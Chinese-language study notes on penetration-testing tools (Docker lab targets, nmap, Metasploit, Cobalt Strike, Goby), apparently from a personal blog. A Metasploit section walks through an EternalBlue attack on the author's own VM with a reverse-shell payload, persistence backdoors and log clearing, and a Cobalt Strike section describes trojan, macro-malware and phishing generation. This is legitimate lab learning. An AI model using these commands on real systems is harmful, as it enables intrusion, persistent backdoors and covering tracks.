工具使用(kali linux 中 nmap msf cs docker Goby)
一.docker简介docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口,简单来说。就是能轻松的为应用创建一个轻量级的、可移植的、自给自足的容器(类似虚拟机并且具有自己的优势)。二.常用命令1.docker启动和停止启动dockersystemctl
docker
一.前言
其实我个人不常使用docker,(到目前为止也只是搞了个xss靶场),在这里主要是先总结总结,以后用到也就方便了。主要分为两部分,一个是docker常用的一些连招操作(希望我以后再用时可以一套傻瓜操作完成使用),另一部分也就是docker的一些常用命令(其实也就是在网上以及官网复制粘贴的命令)
二.docker
简介
docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口,简单来说。就是能轻松的为应用创建一个轻量级的、可移植的、自给自足的容器(类似虚拟机并且具有自己的优势)。
三个核心
镜像、容器、仓库
镜像
Docker 镜像类似于虚拟机镜像,可以将它理解为一个只读的模板。例如,一个镜像可以包含一个基本的操作系统环境,里面仅安装了Apache 应用程序。可以把它称为一个 Apache 镜像。镜像是创建 Docker 容器的基础。通过版本管理和增量的文件系统, Docker 提供了一套十分简单的机制来创建和更新现有的镜像,用户甚至可以从网上下载一个已经做好的应用镜像,并直接使用。
容器
docker容器类似于一个轻量级的沙箱,Docker利用容器来运行和隔离应用。容器是从镜像创建的应用运行实例。可以将其启动、开始、停止、删除,而这些容器都是彼此相互隔离的、互不可见的。
仓库
docker仓库类似于代码仓库,它是docker集中存放镜像文件的场所。需要注意的是仓库(repository),不要将docker仓库和仓库注册服务器(registry)混淆。仓库注册服务器是存放仓库的地方,其上往往存放着多个仓库。每个仓库集中存放某一类镜像,往往包括多个镜像文件,通过不同的标签(tag)来区分。根据所存储的镜像是否公开,docker仓库可以分为公有仓库(public)和私有仓库(Private)两种形式。目前最大的公开仓库是官方提供的Docker Hub。当然国内的很多云服务商也提供了很多源。例如:阿里云、腾讯云、华为云、时速云、网易蜂巢等等。
三.连招
靶场安装
这里就先写一个sqli-labs靶场安装的过程吧,以后还有其他的再补
- 启动
service docker start
- 查找sqli-labs镜像
docker search sqli-labs
当时我直接把安装包拉倒虚拟机上的
- 安装
docker pull acgpiano/sqli-labs
- 查看(可看可不看)
docker images
- 运行
docker run -d -p 8081:80 acgpiano/sqli-labs
-d是指在后台运行,-p是指指定本地8081端口映射到容器的80端口,也就可以通过本地8081端口可以查看开启的应用(相关参数下面都有做一些总结)。
- 查看运行的容器
docker ps
- 停止容器
docker stop 7405e24ad8ba
stop后名字或id都行
- 停止
service docker stop
启动停止docker都还有一种用法,下面有写
vulhub安装及启动
- 下载安装包,解压
wget https://github.com/vulhub/vulhub/archive/master.zip
unzip master.zip
- 启动docker
建议使用root权限进行操作,直接启动的话要密码啥的,我自己反正不记得了
su - root
service docker start
- cd到文件夹里
cd /home/kali/vulhub-master
ls后就可以看到全部可配置的漏洞了
- cd到对应文件中
以hadoop为例
cd hadoop
cd unauthorized-yarn
- 创建并查看端口
docker-compose up -d
docker ps
第一次创建可能会下载,之后就直接弄好了,为什么直接docker-compose up
- 访问
打开浏览器输入:127.0.0.1:8088
- 停止
全部停止
docker stop $(docker ps -a -q)
docker ps -a -q // 查看所有容器ID
docker stop $(docker ps -a -q) // stop停止所有容器
docker rm $(docker ps -a -q) // remove删除所有容器
四.常用命令
1.docker启动和停止
启动docker
systemctl start docker
停止docker
systemctl stop docker
重启docker
systemctl restart docker
查看docker 状态
systemctl status docker
开机启动
systemclt enable docker
查看docker概要信息
docker info
查看docker帮助文档
docker --help
2.镜像相关命令
查看镜像
docker images
查找镜像
docker search 镜像名称
拉取镜像
docker push 镜像名称
删除镜像
docker rmi 镜像id
删除所有镜像
docker rmi 'docker images' -q
3.容器相关命令
查看正在运行的容器
docker ps
查看所有容器
docker ps -a
查看最有一次运行的容器
docker ps -l
查看停止的容器
docker ps -f status=exited
4.容器的创建停止启动删除
创建容器命令:docker run
-i:表示运行容器
-t:表示容器启动后会进入其命令行,加入这两个参数后,容器创建就能登陆进去,即分配一个伪终端。
–name __:为创建的容器命名
-v:表示目录映射关系(前者是宿主机目录,后者是映射到宿主机上的目录),可以使用多个-v做多个目录或文件映射.注意:最好做目录映射,在宿主机上做修改,然后共享到容器上。
-d:在run后面加上-d参数,则会创建一个守护式容器在后台运行(这样创建容器后,不会自动登陆容器)如果只加上-i-t两个参数,创建后就会自动进入容器
-p:-p port1:port2表示端口映射,前者是宿主机端口,后者是容器内的映射端口,可以使用多个-p做多个端口映射
-P:端口映射,随机映射端口
(1)交互式方式创建容器
docker run -it --name=容器名称 镜像名称:标签 /bin/bash
退出时容器就会停止
(2)守护式方式创建容器
docker run -di --name=容器名称 镜像名称:标签
进入守护式方式创建的容器
docker exec -it 容器名称 /bin/bash
退出时容器不会停止
停止容器
docker stop 容器名称或容器id
启动容器
docker start 容器名称或容器id
删除容器
docker rm 容器id
5.文件拷贝
将文件拷贝到容器内
docker cp 需要拷贝的文件或目录。 容器名称:容器目录
从容器中拷贝出来
docker cp 容器名称:容器目录 需要拷贝的文件和目录
6.目录挂载
我们可以在创建容器的时候,将宿主机的目录与容器内的目录进行映射,这样我们就可以通过修改宿主机上某个目录的文件从而去影响容器
创建容器 添加-v参数 后面为宿主机目录 容器目录
docker run -id --name=容器名称 -v 外部目录:docker内目录 镜像名称:版本号
查看容器所有数据
docker inspect 容器名称或者容器id
查看容器ip
docker inspect --format={{.NetworkSettings.IPAddress}} 容器名称或容器id
nmap(Network Mapper)
简介
nmap也是一个比较常见的工具。所以,所以我们大可以先看一下百度百科
功能除了探测主机是否在线,端口扫描 , 操作系统侦测还有版本检测(询问远程设备上的网络服务以确定应用程序名称和版本号)、防火墙/IDS规避(通过使用分片、ip诱骗、ip伪装、MAC地址伪装等技术来规避防火墙、IDS的屏蔽和检查)、与脚本进行脚本交互(使用Nmap脚本引擎(NSE)和Lua编程语言。)
好吧,先不做太多的解释,以后发觉到什么更独特的地方再写出来。
常用命令
对于nmap的用法,nmap -h
就会列出很多,也可以查询中文手册(手册讲的挺全,解释也很多,很多!)
但我觉得还是列出来一些简单用法和简单解释来更能让人接受(不过不具体用而只是总结的话,我是不太明白哪些是常用的得重点提出来,所以就在网上搜了搜,先稍做总结,以后具体用到再来完善。)
格式
nmap【选项|多选项|协议】【目标】
nmap -参数 192.168._._
举例
指定ip的简单扫描:nmap 192.168.64._
指定ip的全面扫描:nmap -A 192.168.64._
扫描一个网段:nmap 192.168.0.0/24
扫描网段中部分ip:nmap 192.168.0.1-4 / nmap 192.168.0.1,2,3,4(扫描1-4的主机)
扫描指定IP所开放的端口:nmap -p 1-65535 192.168.0.0(端口1-65535,可换成指定端口号,如443,445,902(用逗号隔开))
(对照下面这个表,都可以尝试尝试)
对具体某个功能用到的命令先不做总结了参考博客
MSF
简介
是不是觉的非常敷衍,没想到打开就给截个百度的图片。其实MSF
就是自带漏洞库的漏洞攻击工具。虽说没有图形化界面那样用着简单无脑,但它几个模块的功能着实好用。所以简单介绍一下模块用处,总结一下常用命令,再记录一个操作。
模块
Auxiliary:主要包含渗透测试中一些辅助性的脚本,这些脚本功能有扫描,嗅探,破解,注入,漏洞挖掘等
Encoders:各种编码工具 用于躲过入侵检测和过滤系统。
Exploits:主要包含了传说中的exp、0day、各种漏洞利用的脚本。主要的攻击代码全在这,这里边包含的exp的路径的命名规则是 系统/服务/模块,在使用exp是可以根据这个命名方法来找(也可以用search这条指令来找)。比如:/modules/exploits/windows/smb/ms08_067_netapi.rb
Nops:用来攻击载荷中添加空指令区,以提高攻击可靠性
Payloads :攻击载荷,是攻击者发送给系统执行的指令(不包含exploits攻击阶段),payloads主要是在目标机执行的,而exploits是在本地机执行作用于目标机。命名规则是: 系统/类型/名称
Post: 这个目录放着msf的exploit执行成功后,项目标机发送一些功能性指令,如:提权、获取hash等。
Evasion:5.0中的一个新模块,可以轻松创建反杀毒软件的木马。
命令
- show:
show 模块名
显示当前所有可利用资源 - search:
search 关键字
查找关键字的所有模块与载荷。 - use:
use 模块名
选择并加载模块 - info:
info 模块名
查看模块相关信息 - exploit 或 run :开始攻击
- help: 帮助
使用
启动
- 在kali中启动比较简单,直接输入
msfconsole
就能打开(每次图案不同)
- 直接从菜单中开启
攻击
这里就利用永恒之蓝漏洞攻击一下我的win7虚拟机
- 搜索漏洞相关信息
第二个辅助模块是探测主机是否存在MS17_010漏洞,第三个是漏洞利用模块。
- 探测存在漏洞的主机
- 先选择这个模块
use auxiliary/scanner/smb/smb_ms17_010
- 设置主机
set RHOSTS 192.168.64._
可以搞一个范围进行扫描,不过扫描有亿点点慢。emmm扫完没发现我的虚拟机,可能是打补丁了,如果扫到之后就可以开始利用了
- 选择漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue
- 查看配置
show options
设置LPORT,也就是端口:
set LPORT 4444
设置LHOST,也就是我们主机的IP:
set LHOST 192.168.64._
设置要攻击的ip
set RHOST 192.168.64._
- 设置payload
show payloads
设置payload
set payload windows/x64/meterpreter/reverse_tcp
- 攻击
输入exploit或run
- 攻击成功就会出现win,并且显示meterpreter>会话meterpreter命令大全
然后就能进行各种操作了,当然到这里可能需要再搞一下提权(用永恒之蓝打进来的,就不需要提权了),权限维持,清理痕迹等等等等,就先不做演示了。
权限维持
生成后门的两个模块,一个是metsvc模块服务自启,一个是persistence模块
run metsvc
run persistence -X -i 10 -r 192.168._._ -p 4444
清除日志文件
clearev
CS
简介
CS(cobalt strike),是一个渗透测试工具。类似于MSF(也可以说是基于MSF),但它简洁的图形化界面与多客户端可协同操作着实让人吃香(也可以说是更简单了吧)。它的功能集成了端口转发、服务扫描,自动化溢出,多模式端口监听,木马生成与捆绑,office宏病毒生成,钓鱼攻击等等等等
启动
我是在kali上弄的服务的,win7上为客户端。专门把启动步骤拉出来写成傻瓜式步骤
- 进到如图目录下
- 接命令
./teamserver 本机ip地址 密码 (后面还有两个选填:配置文件和超时日期()过了这个时间不让客户端连接)
如
./teamserver 192.168.1.1 qwer
可能有的教程会先让这样:chmod +x teamserver
,这是因为没权限需要赋予权限(直接复制用一下吧,免得出问题)
- 打开客户端
直接用管理员身份打开cmd
从c盘cd到cs中
- 开启命令
start.bat
四个框,主机填刚刚写的kali ip地址,端口50050,用户名随便写,密码也是刚刚写的,点击连接,有的还需要再点个是,如果不出问题的话就能连接上。
功能
有的是英文版本的还需要专门一个一个做解释,而中文版
当然其中有一个
生成恶意的HTML木马文件
生成office宏病毒文件
生成各种语言版本的payload
生成可执行Payload
把包含payload,stageless生成可执行文件
对于下面那一排图案的话
1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于
当然每一个模块内都还有不同的方式,具体用到的时候再稍作解释吧
具体使用
- 监听器
beacon为内置监听器,包括dns、http、https、smb、tcp、extc2六种方式的监听器;foreign为外部监听器(一般与MSF联动)。如果你看到网上都说的9种Payload,并且和这里名字不一样时,不必太在意,因为你创建之后,名字就一样了。
- 创建攻击
这里就可以使用各种模版的功能了,我这里也演示搞个木马吧
点这个或者下面有个设置的图标
直接拉到主机上
好吧,其实后面运行后就能连接上,然后选中受害机右击,选择interact,即可进行交互(就是打开了cmd命令行) ,其他操作再用到时记录
Goby
下载安装
官网下载安装,十分的简单,一开始我是想安装到window本机上,后来打开的时候有安全提醒,想了想就搞到虚拟机上吧,所以就把安装到kali上了安装地址,下载好直接拉过去就欧克了,打开压缩包直接双击就打开工具了,简单方便
登陆
去官网注册一个号,也是很简单,登陆后有KEY,在这个工具(以及本工具拓展工具的下载)都会用到。
使用
报错
首先提一下,我刚打开时就提示error query错误
然后开始扫描也是直接就报警告,内容一大片一大片的
网上查了查也查不到啥解决办法,到是官网上有写方法,这里我就更换了一下代理方式就好了,其实也就是pcap模式:支持协议识别和漏洞扫描,不支持端口扫描;socket模式:支持端口扫描协议识别以及漏洞扫描
扫描
使用的话我觉得操作再简单不过了
点加号填好信息然后开始就是了(只扫一下自己的机子,就不大片去扫了)
漏洞利用
扫到漏洞后就能直接验证利用了(先不整了)
通用的POC,以及自定义的POC,还有弱口令字典,武器库又大了
报告
内容包括了硬件、软件、厂商、漏洞、资产、各种分析及统计。
插件
其实最顶的地方,还属拓展程序
FOFA,Xray,MSF,AWVS、SubDomain等等等等
SubDomain
子域名爆破
默认3K的子域名爆破(可以扫一下这些domain的)
扫描完此处有历史记录
web检测后可以使用一些插件
FOFA
点击下载即可,这里填一下信息。
FOFA简单使用,使用简单方便,可是价格十分的美丽
Xray
已经在goby上直接安装下来了,路径去插件那里找
但Rad在这个插件市场好像没有,那就找到地址去下载吧,Rad地址,我都是本机下载下来直接拉到kali上的,拉过去安装包就行了
- cd到放的地方
cd /home/kali/Desktop
- 解压
unzip rad_linux_386.zip
基本上输入rad然后按tab键就会自动补全的
3. 启动
./rad_linux_386
XrayXray地址,也可以这样安装
AWVS
需要本地安装AWVS 13,本来想在官方下载
打扰了,这里安装教程,超级超级详细。
我跟着一步一步走就这里稍微卡顿了一下(刚开始没设置这里,登陆进去啥也没有),这里
很多打前面几个字母Tab键就补全了,然后Goby上又有接下来的配置教程
更多推荐
所有评论(0)